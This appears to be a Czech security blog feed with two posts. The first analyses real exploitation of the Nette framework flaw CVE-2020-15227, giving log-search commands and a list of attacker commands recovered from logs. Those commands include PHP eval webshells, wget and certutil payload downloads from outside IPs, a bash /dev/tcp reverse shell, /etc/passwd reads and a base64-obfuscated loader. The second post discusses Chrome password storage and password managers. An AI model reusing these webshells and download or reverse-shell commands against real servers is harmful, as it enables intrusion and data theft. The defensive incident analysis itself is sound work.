VIRY.CZ

Syndikovat obsah
Když se havěť stává obětí
Aktualizace: 8 min 15 sek zpět

Tisíce českých webů je nutné záplatovat!

20 Říjen, 2020 - 17:59

Titulek zní trošku bulvárně, ale plyne to z nástroje DNS crawler, který periodicky prochází domény druhé úrovně pod TLD .cz, sbírá data z DNS, webových a mailových serverů a umožňuje získaná data analyzovat. A právě z těchto dat plyne, že na více než 36 tisících doménách nějakým způsobem figuruje populární tuzemský framework Nette, umožňující provoz webových stránek či jiných webových aplikací. To je skvělá zpráva, pokud by se v tomto nástroji neobjevila první závažná zranitelnost po 13 letech…

Číslo 36 tisíc bylo uvedeno v článku na NIC.CZ i včetně důležitého závěru:

V současné chvíli se nám podařilo skrze data získaná DNS crawlerem identifikovat přes 36 tisíc českých domén, na kterých je dostupný web postaven na Nette frameworku. Bohužel však z těchto dat není možné zjistit konkrétní verzi frameworku. Je tedy velmi pravděpodobné, že ne všech 36 tisíc webů je zranitelností ohroženo a mnohé již byly aktualizovány na některou z opravených verzí. Nicméně z naší zkušenosti víme, že tyto webové technologie obvykle nebývají z různých důvodů pravidelně aktualizovány, někdy i mnoho let. V současnosti tak diskutujeme možnosti identifikace konkrétních webů, které jsou zmíněnou zranitelností ohroženy a možnosti oslovení jejich vlastníků.

Stručně řečeno, i já jsem záplatoval na třech různých webových serverech s křížkem po funuse s nelichotivým výsledkem: na všech už předtím došlo k zneužití této zranitelnosti! Takže pokud máte například firemní webové stránky na Nette frameworku, či nějakou jinou aplikaci, je potřeba to sakra rychle řešit (pokud se tak už nestalo), než z toho bude průšvih! Více v popisu chyby CVE-2020-15227.

Časovaná bomba?

Z detailnější analýzy mě vyplynulo, že si útočníci dělají patrně přípravu na budoucí útok tím, že si na webový server skrze zranitelnost dopraví soubory jako test2.php či test3.php s programovým kódem jako:

<?php @eval($_POST['passlincx']); ?>

Nemám jiné vysvětlení, než že to jsou “zadní vrátka” k serveru do budoucna! Příkaz eval totiž spustí na serveru vše, oč ho útočník vzdáleně požádá a není náhodou, že se mu občas říká evil Útočník tak může získat hesla, konfigurace, nastavení, vykrást citlivé informace a nebo prostě na web hodit hlášku HACKED. A to kdykoliv v budoucnu! Opět připomínám, že toto jsem viděl na VŠECH kompromitovaných strojích, které jsem řešil. Za sebe tak nemůžu hovořit o náhodě.

Ještě více technicky aneb co jsem použil v praxi a jak jsem k tomu dospěl

Způsob realice útoku nebudu popisovat, ale je velice jednoduchý a docvakne každému správci serveru, jakmile se bude přesvědčovat, zda k němu již došlo či ne. Následuje postup, který jsem použil já a mohl by se někomu hodit. Je jasné, že by to šlo “vytunit” lépe a sfouknout to celé jedním vrzem, ale já to prostě dělal takhle i s ohledem na menší množství záznamů potvrzujících kompromitaci serverů.

Tenhle příkaz (Linux) projde starší (zkomprimované) logy Apache a pokud něco vypíše, znamená to, že zneužití chyby se nevyhnul ani daný server (místo .gz le použít i .log pro aktuální protokol):

find /var/log/apache2/ -name \*.gz -print0 | xargs -0 zgrep "nette.micro" | grep shell_exec

Pokud tenhle výstup vemete a zkopírujete například do služby regex101.com, můžete si pomocí reg. výrazu:

cmd=(.*) HTTP

“vysvítit” problematickou část kódu, tedy shell kód, který se útočník na serveru snažil spustit (resp. skoro zcela určitě spustil, pokud nebylo Nette včas záplatováno). V sekci “match information” lze výstup uložit například do CSV a tam dále vytřídit. Pak třeba použít textfixer.com na odstranění duplicit a dojít až k soupisu toho, co si všechno útočník na serveru pouštěl. V mém případě proběhlo všechno toto (co řádek, to útok):

echo%20%22%3C?php%20@eval(%5C$_POST%5B%27passlincx%27%5D)%20?%3E%22%20%3E%20test2.php echo+%22%3C%3Fphp+%40eval%28%5C%24_POST%5B%27passlincx%27%5D%29+%3F%3E%22+%3E+test2.php echo%20%22qwertasdfgzxcvb%22 echo+%22qwertasdfgzxcvb%22 echo%20GK5OxJaE echo%20FRrNjp8Q echo%20lYgCsO0m echo%20Qb49jcKJ echo%20VQajnghR cat%20/etc/passwd certutil%20-urlcache%20-split%20-f%20http://120.92.109.248/sa.exe sa.exe echo%20%27myhhdd%27 id echo%20%22myhhokk%3C?php%20@eval(%5C$_POST%5B%27passlincx%27%5D)%20?%3E%22%20%3E%20test3.php%20%7C%7Cls echo%20%22myhhokk%3C?php%20@eval(%5C$_POST%5B%27passlincx%27%5D)%20?%3E%22%20%3E%20test.php%00 wget%20http:/91.121.183.89:58080/mylinok2/badmin.jpg%20-O%20webconfig.txt.php%00 bash%20-i%20%3E&%20/dev/tcp/%27+lhost+%27/%27+lport+%270%3E&1 bash+-i+%3E&%2Fdev%2Ftcp%2F%27_lhost_%27%2F%27_lport_%270%3E=&1= wget%20http://91.121.183.89:58080/mylinok2//badmin.jpg%20-O%20webconfig.txt.php wget+http%3A%2F%2F91.121.183.89%3A58080%2Fmylinok2%2F%2Fbadmin.jpg+-O+webconfig.txt.php echo%20%22myhhokk%3C?php%20file_put_contents(%5C$_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27//config.bak.php%27,base64_decode(%27PD9waHANCmZ1bmN0aW9uIGJ5cGFzcygpew0KCSR4ID0gIlwkX1BPIjsNCiAgICByZXR1cm4gImwoIi4keC4iU1RbJyI7DQp9DQpldmFsKCJldmEiLmJ5cGFzcygpLiJ4J10pOyIpOw==%27));?%3E%22%20%3E%20test3.php echo+%22myhhokk%3C%3Fphp+file_put_contents%28%5C%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27%2F%2Fconfig.bak.php%27%2Cbase64_decode%28%27PD9waHANCmZ1bmN0aW9uIGJ5cGFzcygpew0KCSR4ID0gIlwkX1BPIjsNCiAgICByZXR1cm4gImwoIi4keC4iU1RbJyI7DQp9DQpldmFsKCJldmEiLmJ5cGFzcygpLiJ4J10pOyIpOw%3D%3D%27%29%29%3B%3F%3E%22+%3E+test3.php wget%20http://91.121.183.89:58080/mylinok2//uladmin.jpg%20-O%20webconfigul.txt.php wget+http%3A%2F%2F91.121.183.89%3A58080%2Fmylinok2%2F%2Fuladmin.jpg+-O+webconfigul.txt.php wget%20http://91.121.183.89:58080/mylinok2//uladmin.jpg%20-O%20webconfigul.txt.php%7C%7Cid wget+http%3A%2F%2F91.121.183.89%3A58080%2Fmylinok2%2F%2Fuladmin.jpg+-O+webconfigul.txt.php%7C%7Cid echo%20%22myhhokk%3C?php%20@eval(%5C$_POST%5B%27passlincx%27%5D)%20?%3E%22%20%3E%20test2.php echo%20%22myhhokk%3C?php%20@eval(%5C$_POST%5B%27passlincx%27%5D)%20?%3E%22%20%3E%20test2.php%00 echo+%22myhhokk%3C%3Fphp+%40eval%28%5C%24_POST%5B%27passlincx%27%5D%29+%3F%3E%22+%3E+test2.php ifconfig

V kostce se pokoušeli útočníci o toto:

  • Spuštění ifconfig – útočník se dozví rozpoložení síťových adapterů serveru.
  • Eval() na x způsobů jsem již rozebíral – backdoor do budoucna – umožní útočníkovi “nevyléčený” server kdykoliv ovládnout.
  • Pokus stažení a spuštění backdooru v souboru s příponou EXE (wget a sa.exe)! Tohle nemohlo vyjít, neboť šlo o Linux / Debian. Na Windows by to ale představovalo sakra problém!
  • Nasazení silně obfuskovaného PHP kódu, maskovaného v JPG souboru! Účel zatím neznám, možná podobný význam jako eval() záležitost.
  • Získání obsahu souboru /etc/passwd, tedy seznamu uživatelů. Tohle může / nemusí bolet. Záleží na užití serveru.
Co dělat, když už na serveru útočníci byli?

Na to těžko odpovědět. Záleží, k čemu server sloužil a zda jste schopni dosledovat dění především těch eval() záležitostí. To jestli byl eval() spuštěn (skrze soubory typu test2.php, test3.php v mém případě), dohledáte například v log souboru Apache, nicméně CO ten eval spustil, to už hůře. V mém případě naštěstí nebyl nikdy HTTP POST volán, pouze byla skrze HTTP GET ověřena existence zadních vrátek. Stačilo tak podobné soubory zlikvidovat. Jistotou je pochopitelně kompletní reinstalace serveru, opětovné vybuildování projektů, …

The post Tisíce českých webů je nutné záplatovat! appeared first on VIRY.CZ.

Kategorie: Viry a Červi

Kam s heslama?

29 Září, 2020 - 22:05

Nedávná diskuze v hospodě mě přesvědčila o tom, že se dlouhodobě v podstatě nic nezměnilo. Hesla po papírech, jedno heslo na všechno, …

Jde to i na omítku!

Zároveň mě to připomnělo opravdu starou historku a originální způsob “správy” hesel. A to když mě byla odcizena peněženka a byl se mnou sepisován protokol na policejní služebně. Tam jsem si všimnul podivně šedé skvrny na bílé omítce maskované záclonou. A jak se později ukázalo, byl to soupis hesel psaný tužkou, drobným písmen!

O nutnosti používat silná hesla, různá hesla pro jednotlivé služby, využívat dvoufázové ověření, …, zde psát nebudu (více třeba i v “knize o virech“). My se posuneme rovnou dále k inteligentní správě hesel v elektronické podobě.

S hesly do prohlížeče? Je tu jedno ALE!

Jednou z možností je správa hesel v rámci internetových prohlížečů a jejich ukládání právě tam. Nejrozšířenější Google Chrome tak nabízí komfortní automatické vyplnění přihlašovacích formulářů, pokud mu to po prvním odeslání formuláře dovolíte. Jenže tento komfort je vykoupen jedním malým/velkým ALE…

Ačkoliv jsou hesla uložena na disku v šifrované podobě (soubor C:\Users\%Username%\AppData\ Local \Google\Chrome\User Data\Default\Login Data), v době, kdy je uživatel do Windows přihlášen, jsou dostupná v čitelné podobě skrze “Data Protection API” (DPAPI). Jinak řečeno, hesla jsou zašifrována Vašim Windows heslem a jakmile se tímto heslem přihlásíte do Windows, začnou býti dostupná v čitelné podobě jakékoliv aplikaci. Toho logicky Chrome skrze DPAPI využívá a začne uživatele vyplňováním formulářů rozmazlovat.

Odcizení hesel havětí

Jenže pokud do počítače pronikne havěť a stane se tak aktivní pod účtem přihlášeného uživatele, bude mít přesně stejné možnosti k získání hesel jako Chrome! Na toto je potřeba myslet a každý by měl zvážit rizika, pokud by k tomu došlo. Je potřeba brát v potaz i to, že ne každá havěť musí nutně vykrádat hesla.

Nezamknutý počítač

Problém může nastat i v případě, že počítač nezamykáte (kombinace kláves WIN + L), jakmile od něj odcházíte. Pokud někdo po Vašich heslech touží, stačí, aby na neodhlášeném počítači pustil aplikaci typu Chrome Password Decryptor či ChromePass. Veškerá hesla se obratem dozví a jednoduše je může z počítače vynést.

Aplikace pro správu hesel

Ještě vyšší zabezpečení než ukládání hesel přímo v prohlížeči tak nabízí dedikované aplikace pro správu hesel. Obecně bych jako výhody těchto aplikací považoval tyhle:

  • Při spuštění vyžadují zadat další extra heslo. Tím jsou čitelná hesla pouze v jejich režii a nejsou jednoduše viditelná pro jiné aplikace či havěť.
  • Jejich podíl na trhu je nízký, tudíž i pravděpodobnost útoku vůči konkrétní aplikaci pro správu hesel je nízká.
  • Často fungují napříč prohlížeči i platformami. Takže není problém mít všechna hesla na Windows třeba pod Firefoxem či Chromem, ale i na Macu v Safari či chytrém telefonu.

Nutností zadávat další heslo sice trochu klesá komfort (se zapnutým dvoufázovým ověřováním ani nemluvě), ale to se nedá nic dělat. Úroveň zabezpečení to posouvá na úplně jinou úroveň!

Sticky Password

Neříkám, že je nejlepší, ale léta k plné spokojenosti používám jednoho z takových správců hesel, aplikaci Sticky Password. Tu lze používat s omezeními zdarma, případně zakoupit plnohodnotnou verzi (i na obchod.viry.cz), která nabízí například synchronizaci hesel mezi více zařízeními a to buď v rámci stejné domácí (WiFi) sítě a nebo skrze internet. Srovnání verzí naleznete zde. Navíc je v češtině a česky umí i technická podpora

Malá odbočka: Vždycky se říkalo, ať na internet nedáváme citlivé informace. A teď se nám paradoxně přes internet mezi zařízeními synchronizují rovnou hesla! Zní to děsivě, ale je to jen pocit. Technicky je to zařízeno tak, že ani autoři aplikace pro správu hesel nejsou schopni číst Vaše hesla. V cloudu to má pouze podobu “smetí”, které začne dávat smysl až na Vašem počítači, po zadání hlavního hesla. Až v ten moment se z toho vyklube databáze hesel. Po ukončení správce hesel je z toho zase jenom “smetí”.

K dispozici je jak verze pro Windows, MAC OS X a pochopitelně i pro telefony/tablety iPad, iPhone a zařízení s OS Android. Uživatelé Linuxu se musí smířit s omezeným přístupem k heslům a to skrze webové stránky (“smetí” pak lokálně do smysluplné podoby přelouskává javascript). Zmiňuji úmyslně, neboť mezi ně s jedním zařízením patřím i já :-/

The post Kam s heslama? appeared first on VIRY.CZ.

Kategorie: Viry a Červi